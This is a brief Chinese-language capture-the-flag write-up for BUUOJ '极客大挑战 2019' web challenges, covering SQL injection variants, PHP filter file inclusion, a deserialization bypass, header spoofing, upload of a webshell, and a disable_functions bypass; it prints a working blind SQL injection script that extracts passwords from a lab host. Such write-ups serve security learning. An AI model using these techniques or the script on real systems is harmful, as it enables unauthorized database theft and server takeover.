[极客大挑战 2019]EasySQL
用1’ 测试发现存在字符型注入
首先尝试构造用万用密码登录
得到flag
[极客大挑战 2019]LoveSQL
居然和 [极客大挑战 2019]EasySQL 一样,用万用密码进去了
拿到 admin 和 password
不过没用
重新,简单测试后发现是字符型注入
Order by 测字段
(其他略)数据
[极客大挑战 2019]BabySQL
先用万用,发现不行,常规注入也发现不行,后来看了网上得wp才知道有双写注入
在常规注入基础上对关键字符双写
库
(其他略)数据
[极客大挑战 2019]HardSQL
上面的方法都不行,但是可以报错注入
库
数值(字段拼接)
[极客大挑战 2019]FinalSQL
看提示是盲注的题目,但是不知道注入点,网上看了wp才知道id是注入点,而且 ^ 没被过滤
然后自己尝试了一下盲注,发现不会,于是看看网上的注入方法
发现还是搞不起来,脚本又不会写,于是看看网上的脚本
附上从网上看到的1篇脚本(感觉自己技术还是烂的一批)
import requests import time url = "http://f2240070-b31e-447d-91c5-3c2653b490a9.node3.buuoj.cn/search.php?" temp = {"id" : ""} column = "" for i in range(1,1000): time.sleep(0.06) low = 32 high =128 mid = (low+high)//2 while(low<high): temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid) r = requests.get(url,params=temp) print(low,high,mid,":") if "Click" in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break column +=chr(mid) print(column) print("flag=" ,column)
[极客大挑战 2019]Havefun
进界面没啥东西就看看源代码,找到
构造,得到flag
[极客大挑战 2019]Secret File
看源码找到/Archive_room.php
点击响应太快,就换bp抓包
找到secr3t.php
发现文件包含漏洞,采用php://filter(这里 input 和 data 被过滤) 伪协议
Base64解密得flag
[极客大挑战 2019]PHP
看源码没东西,扫,得源码
看着应该是反序列化
看class.php
如果 username=admin 并且 password=100 输出flag
构造exp
出错
重来,__wakeup()需要绕过(当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。)
把2改成3
同时截断username 和 password(防止数据丢失)
[极客大挑战 2019]Knife
蚁剑连接得flag
[极客大挑战 2019]Http
看源码发现 Secret.php
需要bp抓包
伪造网址(referer)
伪造浏览器(UA)
伪造本地(X-Forwarded-For)得到 flag
[极客大挑战 2019]BuyFlag
查看源码发现
首先password传输要是数字字符串但要等于404
这样可以用 password = 404a 绕过(会把之后的a注释掉)
Nember太长,从百度了解到老版本PHP不能输入8位字符,但strcmp可以用 [] 绕过
于是
[极客大挑战 2019]Upload
看页面是文件上传,发现直接传输上传不了,bp截断并修改Content-Type
不能php就修改成phtml
加个GIF89a
还是不行,那就用<script>
成功上传蚁剑连接
[极客大挑战 2019]RCE ME
看源码
知道要绕过,从网上看到了这个脚本(能异或2个ASCII字符变为新字符)
def r_xor(): for i in range(0,127): for j in range(0,127): result=i^j print(" "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result)) if __name__ == "__main__": r_xor()
发现payload异或不了
我又换了种思路,看到类似的取反,先用网上的payload看看phpinfo
发现可以,于是想采用这种方法
(看到了许多禁用函数)
构造了一个一句话木马
蚁剑连接
要用到 绕过disable_functions插件